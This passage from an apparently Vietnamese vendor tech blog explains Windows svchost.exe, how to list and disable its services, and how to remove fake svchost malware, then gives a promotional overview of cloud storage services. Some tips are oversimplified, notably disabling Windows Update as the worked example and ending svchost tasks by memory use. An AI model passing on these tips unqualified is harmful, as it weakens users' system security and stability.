sẽ bắt đầu kích hoạt ngay khi Windows khởi động. Sau đó hệ thống sẽ kiểm tra HKLM hive của registry để xem liệu Server nào sẽ tải vào bộ nhớ. Trong đó cửa sổ đăng ký là SOFTWARE\ Microsoft\ Windows NT\CurrentVersion\Svchost.  [caption id="attachment_22116" align="aligncenter" width="771"] Có rất nhiều phần mềm sử dụng dịch vụ Svchost[/caption] Svchost.exe đa phần hoạt động trên nhiều hệ điều hành khác nhau. Điển hình gồm có: Hệ điều hành Windows 10  Hệ điều hành Windows 8   Hệ điều hành Windows 7   Hệ điều hành Windows Vista  Hệ điều hành Windows XP  Hệ điều hành  Windows 2000. Nhìn chung kể từ Windows 10 Creator Update (lưu ý phiên bản 1703) đối với hệ thống sở hữu tới 3.5 GB Ram thì hầu hết mọi Service đều chạy phiên bản Svchost riêng. Trong trường hợp dung lượng ít hơn 3.5 GB Ram thì các Service sẽ tạo nhóm thành các tiến trình Svchost.exe chia sẻ tương tự trong các phiên bản trước.  Một số Service Windows sử dụng Svchost.exe phổ biến là: Windows update Background Tasks Infrastructure Service Plug and Play World Wide Web Publishing Service Bluetooth Support Service Windows Firewall Task Scheduler DHCP Client Windows Audio Superfetch Network Connections Remote Procedure Call …. Hướng dẫn xử lý quy trình Svchost Một khi sử dụng máy tính nếu bạn đột nhiên cảm thấy máy chạy chậm có thể đã có rất nhiều Svchost.exe chạy cùng lúc. Vậy lúc này điều bạn cần làm là hãy kiểm tra xem liệu tiến trình nào nên giữ lại và tiến trình nào nên tắt đi. Và để kiểm tra bạn có thể áp dụng 1 trong 2 cách sau: [caption id="attachment_22120" align="aligncenter" width="771"] Svchost chạy nhiều cùng lúc có thể gây ra tình trạng máy bị chậm, bị lag[/caption] Xử lý bằng bằng Command Prompt Sử dụng Command Prompt xử lý Svchost là gì? Thực tế với cách kiểm tra này sẽ giúp bạn tổng hợp danh sách tất cả các Service được sử dụng bởi các phiên bản Svchost.exe khác nhau. Đặc biệt đối với những bạn nào am hiểu sâu về máy tính hoàn toàn có thể áp dụng cho mình. Trong đó cách kiểm tra Svchost được tiến hành như sau.  Bước 1: Mở Command Prompt Tại giao diện chính màn hình bạn hãy nhấn tổ hợp Windows + R để mở hộp thoại Run. Một khi hộp thoại xuất hiện bạn hãy nhập dòng chữ CMD vào thư mục Open và nhấn Enter. Như vậy là bạn đã mở được Command Prompt. [caption id="attachment_22124" align="aligncenter" width="771"] Mở Command Prompt bằng hộp thoại Run[/caption] Bước 2:  Nhập lệnh Một khi Command Prompt hiển thị bạn hãy tiến hành nhập lệnh “Tasklist/SVC” vào mục “C:\Users\Dell”. Sau đó bạn hãy nhấn Enter. [caption id="attachment_22128" align="aligncenter" width="771"] Nhập lệnh gợi ý vào thư mục yêu cầu[/caption] Bước 3: Tìm file Svchost cần vô hiệu hóa Lúc này hệ thống sẽ bắt đầu chạy tiến trình. Bạn hãy dành chút thời gian chờ đợi là sẽ thấy được tất cả danh sách các tiến trình Svchost đang chạy. Ở kết quả trả về, bạn quan sát cột bên trái chính là những Svchost.exe đang vận hành trên máy. Còn riêng cột bên phải sẽ là các dịch vụ tương ứng đang chạy trong đó.  [caption id="attachment_22132" align="aligncenter" width="771"] Danh sách các tiến trình Svchost đang chạy[/caption] Ví dụ như tiến trình cập nhật Windows sẽ có ký hiệu là Wuauserv. Nếu bạn thực sự muốn vô hiệu hóa file Svchost bạn cần phải nhớ ký hiệu của chương trình đó và tiến tới bước 4.  Bước 4: Vô hiệu hóa Bạn hãy mở Command Prompt lên, cách thức hiện bạn hãy áp dụng như bước 1 nhé. Sau đó tại mục “C:\Users\Dess>” bạn hãy nhập lệnh là “sc config wuauserv start=disabled”. Trong câu lệnh gợi ý thì “wuauserv” hoàn toàn có thể được thay thế bằng các ký hiệu của các chương trình khác mà bạn muốn vô hiệu hóa. Chương trình sẽ bị vô hiệu hóa kể từ lần khởi động máy sau khi bạn thực hiện lệnh.  [caption id="attachment_22136" align="aligncenter" width="771"] Nhập lệnh và ký hiệu tiến trình để vô hiệu hóa[/caption] Tuy nhiên đối với cách này nếu bạn không hiểu các ký hiệu ở kết quả mà Command Prompt đưa ra thì rất vô nghĩa. Vì vậy cách này chỉ dành cho những dân IT chuyên nghiệp thôi nhé.  >>> Có thể bạn quan tâm: PHP là gì? Khám phá chi tiết ngôn ngữ lập trình PHP Xử lý bằng Task Manager Đối với cách sử dụng Command Prompt thì Task Manager có phần đơn giản hơn rất nhiều. Đây là cách xử lý Svchost phù hợp với đông đảo người dùng phổ thông. Nếu bạn không am hiểu gì về công nghệ cũng có thể áp dụng ngay cho mình. Và để lấy lại được tài nguyên cho máy tính bạn hãy áp dụng đúng hướng dẫn dưới đây: Bước 1: Mở Task Manager Để mở thanh Task Manager bạn hãy nhấp chuột phải vào thanh công cụ Task bar ở phía cuối màn hình. Một khi các tùy chọn xuất hiện bạn hãy Click vào Task Manager. Bên cạnh đó bạn cũng có thể mở Task Manager bằng cách nhấn tổ hợp phím Ctrl + Alt + Del hoặc là Ctrl + Shift + Esc. [caption id="attachment_22140" align="aligncenter" width="771"] Vào thanh công cụ Task Bar nhấp chuột phải để mở Task Manager[/caption] Bước 2: Chọn Tab Processes Một khi giao diện Task Manager hình thành, tại đây bạn hãy bấm chọn Tab Processes. Sau đó bạn nhấn vào Show processes from all users sẽ thấy các Svchost.exe đang chạy. Trong một số phiên bản của Windows những tiến trình này sẽ xuất hiện với tên gọi khác là Service Host.   [caption id="attachment_22144" align="aligncenter" width="771"] Bấm chọn Tab Processes để thấy các Svchost.exe đang chạy[/caption] Tiếp đến bạn hãy nhấn chuột phải vào chúng để các tùy chọn xuất hiện và bạn click vào Go to details.  [caption id="attachment_22148" align="aligncenter" width="771"] Click chuột phải chọn Go to details[/caption] Bước 3: Xem dung lượng  mà những Svchost đang chiếm Lúc này bạn có thể kiểm tra xem các Svchost  liệu đang chiếm bao nhiêu dung lượng của bộ nhớ và CPU. Cách thực hiện là thông qua cột Memory và CPU. Tiến trình nào chiếm quá nhiều dung lượng bạn có thể thực hiện vô hiệu hóa bằng việc bấm chuột trái vào tiến trình rồi click chọn End Task.  [caption id="attachment_22152" align="aligncenter" width="771"] Kiểm tra dung lượng mà các Svchost chiếm đóng[/caption] Tự nhiên đến đây bạn vẫn chưa biết các dịch vụ đang chạy dưới tiến trình Svchost là gì. Trong trường hợp nếu như bạn tắt nhầm những tiến trình quan trọng thì rất dễ gây hại cho máy tính. Vậy nên để đảm bảo an toàn bạn tiếp tục làm thêm bước 4 sau.  Bước 4: Vô hiệu hóa từng tiến trình Để thực hiện vô hiệu hóa từng tiến trình trong một Svchost bạn hãy click chuột phải vào Svchost.exe nào chiếm dung lượng bộ nhớ máy tính nhiều nhất. Cách nhận dạng là bạn quan sát ở cột Memory. Sau đó bạn tiến hành click chuột phải vào tiến trình và chọn Go to Service.Lúc này bạn sẽ nhìn thấy được  tất cả những tiến trình đơn lẻ đang chạy.  [caption id="attachment_22156" align="aligncenter" width="771"] Click chuột phải ở tiến trình và chọn Go to Service[/caption] Tại cột Description tên của dịch vụ sẽ được hiển thị rất cụ thể. Do đó bạn hoàn toàn có thể dừng chúng nếu như thấy không cần thiết. Cách thức thực hiện là bạn bấm chuột phải vào đó rồi chọn Stop. Cách kiểm tra file Svchost.exe có chứa virus không?  Một thực tế cho thấy rất nhiều loại mã độc hại, virus hoặc các phần mềm gián điệp đã ẩn dưới dạng file Svchost.exe. Mục đích chính là để lấy cắp thông tin và thực hiện xâm chiếm quyền truy cập máy tính. Vậy nên rất nhiều người dùng dễ bị nhận diện sai giữa các file Svchost.exe thực sự và các file Svchost.exe chứa virus. Một khi thực hiện vô hiệu hóa sẽ bị nhầm tiến trình và bỏ sót các file virus. Do đó bạn hãy bỏ túi cách kiểm tra tập tin có phải là file Svchost chứa virus hay không như sau. Bước 1: Tại giao diện chính màn hình bạn hãy nhấn tổ hợp phím Ctrl + Alt + Del để mở Task Manager. Sau đó bạn nhấn chọn vào Processes để kiểm tra danh sách tiến trình Svchost.exe. Tại đây để tiến hành kiểm tra vị trí của Svchost.exe bạn hãy click chuột phải vào tiến trình. Các tùy chọn xuất hiện bạn bấm chọn Open file Location. [caption id="attachment_22160" align="aligncenter" width="771"] Bấm chọn Open file Location tại tiến trình cần kiểm tra[/caption] Bước 2: Giao diện mới hình thành bạn hãy để ý xem nếu vị trí của file nằm trong thư mục “Windows\System32” thì bạn hoàn toàn có thể an tâm rằng file đó không phải là virus. Ngược lại nếu như file nằm ở vị trí khác thì bạn có thể xóa theo hướng dẫn ở trên. [caption id="attachment_22164" align="aligncenter" width="771"] Kiểm tra file an toàn không chứa virus[/caption] Ngoài ra nhằm đảm bảo tính an toàn cũng như thuận tiện trong quá trình sử dụng máy tính bạn có thể cài thêm các phần mềm diệt virus, mã độc hại cũng được.  Hướng dẫn loại bỏ virus Svchost.exe Trên thực tế bạn không thể xóa file Svchost thật khỏi máy tính của mình. Bởi vì bản chất đây là một tiến trình rất quan trọng. Tuy nhiên bạn hoàn toàn có thể xóa hay giả mạo. Nếu bạn thấy có một file nằm ở đâu đó không thuộc thư mục %SystemRoot%\System32\ hoặc là %SystemRoot%SysWOW64\” thì việc xóa file là an toàn 100%. Tuy nhiên thực tế virus Svchost.exe rất khó để xóa như các file thông thường. Vậy nên bạn hãy thực hiện theo như  sau để loại bỏ virus: Cách 1: Đầu tiên bạn mở thư mục Task Manager lên. Tại đây bạn bấm chọn vào tiến trình Svchost.exe. Các tùy chọn xuất hiện bạn hãy click chọn Open File Location. Lưu ý ta sẽ không thực hiện bất kỳ thao tác gì tại cửa sổ mới vậy nên bạn hãy cứ để nó mở. [caption id="attachment_22168" align="aligncenter" width="771"] Click chọn Open File Location[/caption] Lưu ý Bạn nên nhớ rằng nếu như thư mục mở là một trong các thư mục hệ thống được đề cập ở trên vậy thì file  Svchost.exe của bạn sạch sẽ và không thể bị xóa. Thế nhưng bạn nhớ hãy đọc tên file cẩn thận, chính xác để chắc chắn đó không phải là file hợp pháp được sử dụng bởi Windows.  Cách 2: Tại danh sách các Svchost.exe bạn hãy nhấp chuột phải vào file được xác định là virus. Các tùy chọn hiển thị bạn hãy click chọn End Task. Nếu cách đó không đảm bảo hiệu quả bạn có thể mở Process Explorer rồi click chuột phải vào tệp Svchost.exe và chọn Kill Process để tắt nó. [caption id="attachment_22172" align="aligncenter" width="771"] Bấm click End Task[/caption] Cách 3: Nếu bạn thấy có các dịch vụ được lồng ghép ở trong tệp Svchost.exe bạn hãy mở chúng trong Task Manager như đã giải thích ở trên. Sau đó bạn dừng từng dịch vụ đó lại bằng cách bấm chọn ‘Servier”. Lúc này các tiến trình chạy sẽ hiển thị bạn bấm chuột phải vào tiến trình không cần thiết và chọn “Stop Service”. [caption id="attachment_22176" align="aligncenter" width="771"] Click chọn Stop Service để dừng tiến trình lại[/caption] Cách 4: Bạn hãy mở thư mục Task Manager lên sau đó tìm tới các file Svchost virus để xóa như cách 1. Một khi tìm thấy các file bạn hãy thử xóa file Svchost.exe tương tự như các file bất kỳ khác. Bạn thực hiện bằng cách bấm chuột phải vào file, các tùy chọn xuất hiện bạn click vào Delete.  [caption id="attachment_22180" align="aligncenter" width="771"] Bấm chuột phải chọn Delete[/caption] Nếu có thể bạn hãy thử cài đặt LockHunter để yêu cầu xóa file Svchost trong lần khởi động lại tiếp theo. Cách 5: Bạn có thể cài đặt malwarebytes hay một số các công cụ loại bỏ những phần mềm gián điệp khác cũng được. Phần mềm giúp bạn quét toàn bộ hệ thống và hỗ trợ xóa tiến trình Svchost thành công. Sau quá trình xóa bạn khởi động máy tính lại một lần nữa là hoàn thiện. Trong trường hợp virus Svchost.exe không cho phép cài đặt chương trình về máy thì bạn có thể tải trình quét virus Portable vào ổ flash và quét từ đó.  [caption id="attachment_22184" align="aligncenter" width="771"] Sử dụng phần mềm Malwarebytes[/caption] Cách 6:  Bạn cũng có thể sử dụng một chương trình đầy đủ để quét virus. Có rất nhiều tùy chọn trong danh sách các chương trình duyệt virus cho Windows và Mac. Dù sao đi nữa thì việc để một trong số các công cụ diệt virus này luôn bật là rất sáng suốt. Thậm chí khi một trình quét virus khác cũng có thể xóa file.  [caption id="attachment_22188" align="aligncenter" width="771"] Vận dụng chương trình diệt virus Windows[/caption] Cách 7: Sử dụng chương trình diệt virus cũng được xem là cách tốt để áp dụng. Bạn có thể quét máy tính trước khi khởi động Windows. Điều này sẽ rất hữu ích khi các trình quét khác không thành công. Bởi vì virus Svchost.exe không thể hoạt động chỉ trừ khi Windows đang chạy và các công cụ diệt virus có thể boot chạy bên ngoài Windows.   Vậy chi tiết thông tin tổng hợp về file Svchost là gì và cách xử lý Svchost.exe giúp máy tính chạy mượt mà đã được bật mí như trên. Chỉ cần bạn tìm hiểu cẩn thận và áp dụng đúng với hướng dẫn chắc chắn bạn sẽ thành công khi thực hiện. Tuy nhiên nếu trong quá trình áp dụng bạn có bất kỳ thắc mắc, băn khoăn nào về Svchost đừng ngần ngại hãy liên hệ với FPT Cloud để được giải đáp tận tình. Liên hệ với chúng tôi để biết thêm thông tin chi tiết về dịch vụ của FPT Smart Cloud Website: https://fptcloud.com/ Fanpage: https://www.facebook.com/fptsmartcloud Email: [email protected] Hotline: 1900 638 399

Lưu trữ đám mây là gì? TOP ứng dụng lưu trữ đám mây tốt nhất

16:57 08/03/2022
Lưu trữ đám mây là một trong những dịch vụ rất được nhiều người dùng ưa thích hiện nay. Với sự hiện diện của dịch vụ lưu trữ này người dùng sẽ không lo hết bộ nhớ cũng như có thể dễ dàng chia sẻ dữ liệu một cách nhanh chóng. Vậy lưu trữ đám mây là gì? TOP ứng dụng lưu trữ đám mây loại nào nào tốt nhất hiện nay, bạn có thể tìm hiểu ở bài viết sau. Lưu trữ đám mây là gì? Lưu trữ đám mây là gì? Lưu trữ đám mây hay còn được gọi với một cái tên khác là Cloud Storage. Đây là một dịch vụ lưu trữ dữ liệu cho phép dùng có thể lưu trữ, quản lý, chia sẻ, sao lưu các dữ liệu một cách hiệu quả. Dù dữ liệu của bạn là hình ảnh, video hay tập tin đều có thể dễ dàng lưu trữ tại dịch vụ lưu trữ đám mây. [caption id="attachment_22034" align="aligncenter" width="771"] Lưu trữ đám mây là gì?[/caption] Dịch vụ Cloud Storage được cấp bởi một công ty hoặc doanh nghiệp nào đó, có thể là các doanh nghiệp trong nước và nước ngoài. Dịch vụ lưu trữ đám mây là thuật ngữ dùng để chỉ các hành động lưu dữ, sắp xếp quản lý dữ liệu,….từ xa vô cùng hiệu quả. Do đó sử dụng dịch vụ này sẽ giúp người dùng có thể quản lý dữ liệu tại bất kỳ đâu và bất kỳ nơi nào muốn. Điều kiện chỉ cần thiết bị điện thoại, máy tính có kết nối Internet. Tức là thay vì lưu trữ dữ liệu vào ổ cứng máy tính như bình thường bạn hay làm hay lưu vào các thiết bị lưu trữ cục bộ khác như lưu vào USB thì giờ đây có thể lưu tại Cloud Storage. Cloud Storage – 1 hệ cơ sở dữ liệu từ xa sẽ là kho lưu trữ vô tận cho người dùng.  Thông qua kết nối Internet, người dùng có thể truy xuất dữ liệu tại Cloud Storage dễ dàng như đang truy cập dữ liệu trên ổ cứng máy tính. Vậy nên ngày nay dịch vụ Cloud Storage được ứng dụng rộng rãi và trở thành kho lưu trữ quan trọng cất giữ lượng dữ liệu lớn. >>> Có thể bạn quan tâm: PHP là gì? Khám phá chi tiết ngôn ngữ lập trình PHP TOP 4 Dịch vụ lưu trữ đám mây phổ biến nhất  Với khả năng lưu trữ, quản lý, chia sẻ và backup dữ liệu an toàn, hiệu quả, dịch vụ lưu trữ đám mây đang ngày càng được ứng dụng rộng rãi. Trong đó có 4 dịch vụ Cloud Storage phổ biến nhất là: [caption id="attachment_22038" align="aligncenter" width="771"] Lưu trữ đám mây có những loại hình dịch vụ nào phổ biến?[/caption] Personal Cloud Personal Cloud là loại dịch vụ lưu trữ đám mây được xây dựng nhằm phục vụ nhu cầu lưu trữ dành cho các cá nhân. Vì vậy loại dịch vụ này được đánh giá là dịch vụ lưu trữ có mục đích sử dụng đơn giản nhất, phù hợp với nhu cầu của các cá nhân. Loại này thường được cung cấp nhằm đáp ứng các nhu cầu hàng ngày của chúng ta trong việc lưu trữ dữ liệu như lưu trữ danh bạ, hình ảnh, video,… Với sự hỗ trợ của dịch vụ Personal Cloud, cá các nhân giờ đây không còn phải lo lắng vấn đề bộ nhớ quá tải. Hoặc không phải mất công, mất tiền tìm kiếm các điện thoại có bộ nhớ lưu trữ lớn. Vì Personal Cloud được quy định là dịch vụ lưu trữ dành cho cá nhân nên các công ty, doanh nghiệp lớn lựa chọn dịch vụ này sẽ hoàn toàn không phù hợp.  Dịch vụ lưu trữ dữ liệu - Public Cloud Public Cloud – Loại dịch vụ lưu trữ đám mây không giới hạn về đối tượng sử dụng. Vì vậy Public Cloud còn được gọi là mô hình dịch vụ lưu trữ dành cho công động. Đối với loại hình dịch vụ này thì dù là cá nhân hay doanh nghiệp đều có thể lựa chọn sử dụng. Đặc biệt là những bạn làm trong lĩnh vực lập trình, phát triển ứng dụng,… [caption id="attachment_22042" align="aligncenter" width="771"] Public Cloud – Dịch vụ lưu trữ đám mây dành cho cộng đồng[/caption] Public Cloud được nhà phát hành thiết lập nhiều tính năng nổi bật sẽ hỗ trợ việc quản lý các tài nguyên như máy chủ, Storage,…một cách dễ dàng. Trong đó các dịch vụ đang được ưa chuộng nhất hiện nay chính là dịch vụ lưu trữ của Digital Ocean và Vultr. Private Cloud Private Cloud là một loại dịch vụ lưu trữ đám mây thường được dùng nội bộ. Nhất là dành cho doanh nghiệp và các công ty vừa hoặc nhỏ. Bởi vì các công ty dù nhỏ đến lớn đều không cho phép người ngoài công ty sử dụng dữ liệu của mình Vì vậy Private Cloud trở thành dịch vụ lưu trữ đám mây tốt nhất, phù hợp nhất mà các công ty, doanh nghiệp lựa chọn. Vì tính chất lưu trữ các dữ liệu nội bộ của công ty không chỉ lớn mà còn yếu cầu tính bảo mật cao. Vì vậy dịch vụ Private Cloud đáp ứng yêu cầu này hiệu quả bằng một hệ thống tường lửa bảo mật cực kỳ cao. Sử dụng loại hình lưu trữ dữ liệu này giúp các công ty, doanh nghiệp có thể dễ dàng bảo vệ những bí mật nội bộ trước sự tấn công của các đối tượng gây hại. [caption id="attachment_22048" align="aligncenter" width="771"] Private Cloud loại hình lưu trữ đám mây có hệ thống tường lửa bảo mật cao[/caption] Hybrid Cloud Hybrid Cloud là loại hình dịch vụ đám mây linh hoạt nhất trong các loại hình lưu trữ phổ biến hiện nay. Loại hình lưu trữ đám mây này cho phép người dùng thoải mái lựa chọn sử dụng dịch vụ giữa Public Cloud và Private Cloud. Nhờ vậy Hybrid Cloud có thể thoải mái triển khai dữ liệu và luân chuyển công việc khi cần thiết. Hiện tại Hybrid Cloud đang được ứng dụng rộng rãi trong cuộc sống. Vì vậy rất nhiều người có thể đã biết hoặc đã từng lựa chọn sử dụng loại hình lưu trữ đám mây này. Một số dịch vụ lưu trữ Cloud Storage tốt nhất hiện nay Dịch vụ lưu trữ đám mây đã và đang đóng một vài trò cực kỳ quan trọng đối với sự phát triển của xã hội hiện nay. Vì vậy việc sử dụng các dịch vụ đám mây cho việc quản lý, lưu trữ, chia sẻ dữ liệu đã không còn quá xa lạ với người dùng. Trong đó những dịch vụ Cloud Storage tốt nhất hiện nay gồm: Google Drive - Dịch vụ lưu trữ dữ liệu Google Drive là một trong những phần mềm lưu trữ dữ liệu trực tuyến được đánh giá tốt nhất hiện nay. Phần mềm này không chỉ tốt mà còn là phần mềm miễn phí cho phép người dùng sử dụng lưu trữ thoải mái. Đặc biệt, trong quá trình sử dụng, phần mềm hỗ trợ tối đa việc truy cập, sao lưu và chia sẻ thông tin giữa những người dùng với nhau. Hơn nữa phần mềm này còn dễ dàng tương thích trên đa nền tảng giúp người dùng sử dụng thuận lợi. [caption id="attachment_22052" align="aligncenter" width="771"] Dịch vụ lưu trữ Google Drive[/caption] Google Drive là phần mềm lưu trữ được phát triển bởi Google. Vì vậy khi sử dụng người dùng có thể quản lý dễ dàng dữ liệu cá nhân giữa ứng dụng Drive với các công cụ khác do google cung cấp. Những ưu điểm nổi bật của phần mềm Google Drive được người dùng đánh giá cao có thể kể đến như: Phần mềm miễn phí 15GB lưu trữ Phần mềm hỗ trợ lưu trữ tệp an toàn, dễ dàng truy cập từ mọi nơi Hỗ trợ tìm kiếm dữ liệu nhanh chóng. Tìm kiếm dữ liệu thông qua tên và dạng tệp dễ dàng. Phần mềm cho phép người dùng chia sẻ dữ liệu và thư mục lưu trữ giữa những người dùng với nhau. Xem lại lịch sử dễ dàng Chỉnh sửa tệp tin nhanh chóng, chính xác Quản lý dữ liệu trực quan, dễ sử dụng ….. Dropbox.com Dropbox.com là một trong những dịch vụ lưu trữ đám mây vô cùng quen thuộc với người dùng. Tuy nhiên có lẽ nhiều người không biết rằng đây cũng là một hình dịch vụ lưu trữ tốt nhất hiện nay. Dropbox.com nổi bật với giao diện thiết kế đơn giản, sắp xếp logic thuận tiện cho người dùng. Đặc biệt, so với nhiều loại hình dịch vụ lưu trữ khác thì Dropbox.com được đánh giá 1 trong những ứng dụng cung cấp dịch vụ lưu trữ Cloud Storage đáng dùng nhất hiện nay. Dropbox.com hỗ trợ người dùng không gian lưu trữ lớn. Vì vậy một khi lựa chọn ứng dụng lưu trữ này sẽ giúp người dùng có thể lưu trữ dữ liệu vô tận. Người dùng có thể tự động sao lưu thông tin, truy cập dữ liệu nhanh chóng mà không cần phải có mạng Internet thay vào đó chỉ cần cái đặt về máy là xong. [caption id="attachment_22056" align="aligncenter" width="771"] Dropbox cung cấp không gian lưu trữ vô tận cho người dùng[/caption] Dropbox.com là loại hình dịch vụ lưu trữ dữ liệu đám mây tốt nhất vì sở hữu rất nhiều ưu điểm vượt trội mang đến sự hài lòng cao cho người dùng. Trong đó đáng chú ý nhất có thể kể đến một số ưu điểm tiêu biểu như: Miễn phí 2GB lưu trữ. Cho phép nâng cấp lưu lượng khi sử dụng Thoải mái tải tự động video và hình ảnh từ thư viện ảnh lên lưu trữ đám mây Dễ dàng gửi các tệp tin lớn bằng cách sao chép, dán liên kết Cho phép truy cập bất kỳ tệp nào trong tài khoản của bạn mà không cần phải có Internet. Cho phép đồng bộ hóa thư mục trên máy tính với Dropbox …. OneDrive  OneDrive là cái tên tiếp theo luôn được xếp vào danh sách những phần mềm lưu trữ đám mây tốt nhất hiện nay. Vì vậy OneDrive hiện đang được người dùng sử dụng rộng rãi và có phần vượt trội hơn so với nhiều dịch vụ lưu trữ khác. OneDrive – Phần mềm được phát hành bởi Microsoft. Đồng thời OneDrive cũng là phần mềm được tích hợp sắn trên các thiết bị máy tính sử dụng hệ điều hành Windows. Vậy nên người dùng hoàn toàn có thể thoải mái sử dụng mà không gặp phải bất cứ rào cản nào.  Ngoài ra, OneDrive còn cho phép người dùng truy cập và đồng bộ hóa dữ liệu trên thiết bị điện thoại thông qua ứng dụng khác nhau. Có nghĩa là phần mềm này cho phép người dùng truy cập dữ liệu ở cả 2 hệ điều hành là Android và iOS. Điều này mang đến sự tiện lợi không hề nhỏ cho người tiêu dùng. [caption id="attachment_22060" align="aligncenter" width="771"] Dịch vụ lưu trữ đám mây tốt nhất hiện nay – OneDrive[/caption] Cũng giống như nhiều phần mềm dịch vụ lưu trữ khác, OneDrive cũng là phần mềm sở hữu nhiều ưu điểm tốt để người dùng không thể bỏ lỡ. Đáng chú ý nhất có thể kể đến những ưu điểm tốt như sau: Cho phép mở và lưu OneDrive nhanh chóng Hỗ trợ tìm kiếm ảnh dễ dàng nhờ tính năng gắn thẻ tự động Nhận thông báo khi tài liệu chung được chỉnh sửa Chia sẻ album ảnh, video yêu thích dễ dàng Cho phép người dùng truy cập ngoại tuyến với các tệp quan trọng nhất được lưu trữ Miễn phí dung lượng sử dụng lên tới 15GB. …… Mega - Dịch vụ lưu trữ dữ liệu Mega là một trong những ứng dụng lưu trữ còn khá mới lạ với nhiều người dùng. Tuy nhiên không vì vậy chất lượng ứng dụng này được đánh giá thấp. Bởi vì Mega ngay từ khi ra mắt đã được đánh giá là dịch vụ lưu trữ đám mây đáng dùng nhất. Lý do được đưa ra là vì Mega không chỉ có không gian lưu trữ lớn mà còn là ứng dụng có khả năng tự động sao lưu linh hoạt. Do đó lựa chọn ứng dụng này để sao lưu dữ liệu là lựa chọn tốt nhất cho người dùng. [caption id="attachment_22064" align="aligncenter" width="771"] Mega giúp lưu trữ dữ liệu an toàn tuyệt đối[/caption] Ứng dụng lưu trữ đám mây – Mega còn là ứng dụng nổi bật với tính năng xác minh 2 lớn. Vì vậy sử dụng ứng dụng Mega giúp đảm bảo an toàn tuyệt đối cho dữ liệu của người dùng. Chắc chắn với những tính năng tuyệt vời mà ứng dụng được tích hợp sẽ không làm khách hàng thất vọng. Sau đây là một số ưu điểm nổi bật của ứng dụng lưu trữ dữ liệu Mega giúp người dùng đánh giá chính xác hơn về chất lượng, tính ưu việt của ứng dụng lưu trữ này. Miễn phí lưu trữ lên tới 50GB Tự động sao lưu, quản lý dữ liệu lên Mega  Quản lý và chia sẻ tất cả các tập tin một cách dễ dàng chỉ với một liên kết Cho phép người dùng truy cập offline vào các tệp tin và thư mục được lưu trữ Tính bảo mật cao với 2 lớp xác minh, đảm bảo an toàn tuyệt đối cho dữ liệu lưu trữ Có thể tạo cuộc gọi, tin nhắn trên nền tảng Mega …. Box Box là dịch vụ lưu trữ đám mây tốt nhất tiếp theo mà đông đảo người dùng lựa chọn sử dụng hiện nay. Bởi vì với Box thì người dùng có thể dễ dàng thực hiện sao lưu dữ liệu và đồng bộ dữ liệu hiệu quả. Đặc biệt Box cung cấp cho người dùng 10GB không gian lưu trữ miễn phí giúp người dùng thỏa sức lưu trữ tệp tin mà không lo làm đầy bộ nhớ. Không chỉ vậy, Box còn hỗ trợ người dùng tính năng truy cập nhanh trên nhiều thiết bị thông qua trang web trực tuyến. Ứng dụng còn phát triển cả trên 2 nền tảng phổ biến hiện nay là Android và iOS. Do đó bất cứ lúc nào người dùng muốn sử dụng dữ liệu đều có thể thực hiện truy xuất dữ liệu trên Box dễ dàng.  [caption id="attachment_22068" align="aligncenter" width="771"] Dịch vụ BOX hỗ trợ chia sẻ dữ liệu nhanh[/caption] Mặc dù độ phủ sóng của Box không phải là nhất nhưng sử dụng Box chính là cách lưu trữ dữ liệu trên đám mây tốt nhất mà người dùng nên lựa chọn. Một số ưu điểm sau đây của Box sẽ giúp bạn dễ dàng đưa ra quyết định ứng dụng có xứng đáng lựa chọn hay không. Hỗ trợ miễn phí 10GB bộ nhớ. Nhờ vậy quá trình sao lưu tài liệu dễ dàng hơn. Kiểm soát bảo mật, đảm bảo an toàn tuyệt đối cho toàn bộ thông tin lưu trữ. Cho phép truy cập ngoại tuyến với dữ liệu đã tải lên Chia sẻ tệp tài liệu, thông tin dễ dàng, nhanh chóng chỉ với 1 liên kết Hỗ trợ truy cập, mở tài liệu lưu trữ trên nhiều ứng dụng liên kết khác nhau …. Mediafire Mediafire là phần mềm hỗ trợ truy cập trên đa nền tảng khác nhau phục. Không chỉ là truy cập thông qua website mà còn có thể thông qua các ứng dụng được cài đặt trên các thiết bị điện thoại, máy tính, máy tính bảng,…Vì vậy Mediafire được xem là một trong những dịch vụ lưu trữ đám mây đáng dùng, tốt nhất hiện nay.  Phần mềm Mediafire sở hữu nhiều ưu điểm nổi bật trong việc hỗ trợ lưu trữ dữ liệu. Do đó dù thị trường xuất hiện bao nhiều dịch vụ lưu trữ đám mây thì Mediafire vẫn luôn được người dùng đánh giá cao.  [caption id="attachment_22072" align="aligncenter" width="771"] Mediafire hỗ trợ lưu trữ tệp tin nhanh chóng, linh hoạt[/caption] Tham khảo một số ưu điểm của phần mềm để hiểu rõ vì sao Mediafire lại là dịch vụ lưu trữ dữ liệu đám mây tốt nhất. Miễn phí từ 12GB đến 50GB cho người dùng một không gian lưu trữ đám mây lớn. Hỗ trợ tính năng tự động sao lưu tất cả các tệp tin, hình ảnh, video, tài liệu của người dùng. Cho phép lưu trữ dữ liệu dễ dàng từ bất cứ nguồn nào. Bạn chỉ cần thực hiện lệnh chia sẻ lên Mediafire có thể lưu trữ thông tin mà mình mong muốn. Hỗ trợ tìm kiếm nhanh chóng tất cả các tệp tin, thư mục khi cần. Dễ dàng chia sẻ dữ liệu trên nhiều nền tảng chỉ với thao tác sao chép hoặc dán liên kết: Chia sẻ thông qua Email, facebook, twitter,… ….. iCloud Một trong những cái tên cuối cùng trong danh sách top các dịch vụ lưu trữ đám mây tốt nhất hiện nay không ai khác chính là dịch vụ iCloud. Dịch vụ lưu trữ iCloud là một trong những dịch vụ được phát triển bởi công ty Apple. Dịch vụ này ra đời nhằm phục vụ người dùng đang sử dụng các thiết bị hoạt động bằng hệ điều hành iOS hay macOS. Chính vì thế, khả năng truy cập và chia sẻ dữ liệu giữa nhiều người dùng hiện có một số hạn chế nhất định.  [caption id="attachment_22076" align="aligncenter" width="771"] Dịch vụ lưu trữ đám mây iCloud rất được ưa chuộng hiện nay[/caption] Mặc dù tồn tại những hạn chế nhưng iCloud vẫn là dịch vụ sở hữu bộ nhớ lưu trữ miễn phí vô cùng tốt. Bộ nhớ nổi bật với tính an toàn cao. Đặc biệt tất cả các dữ liệu được lưu trữ trên iCloud đều được bảo mật tuyệt đối. Vậy nên iCloud vẫn được người dùng và giới chuyên gia đánh giá là dịch vụ lưu trữ đám mây tốt nhất, đáng dùng nhất hiện nay.  >>> Có thể bạn quan tâm: Wifi không có Internet - Nguyên nhân & 7 cách khắc phục Khi nào nên sử dụng dịch vụ lưu trữ đám mây? Các dịch vụ lưu trữ đám mây hiện nay đều trở thành kho lưu trữ quan trọng đôi với cả cá nhân và các doanh nghiệp, công ty 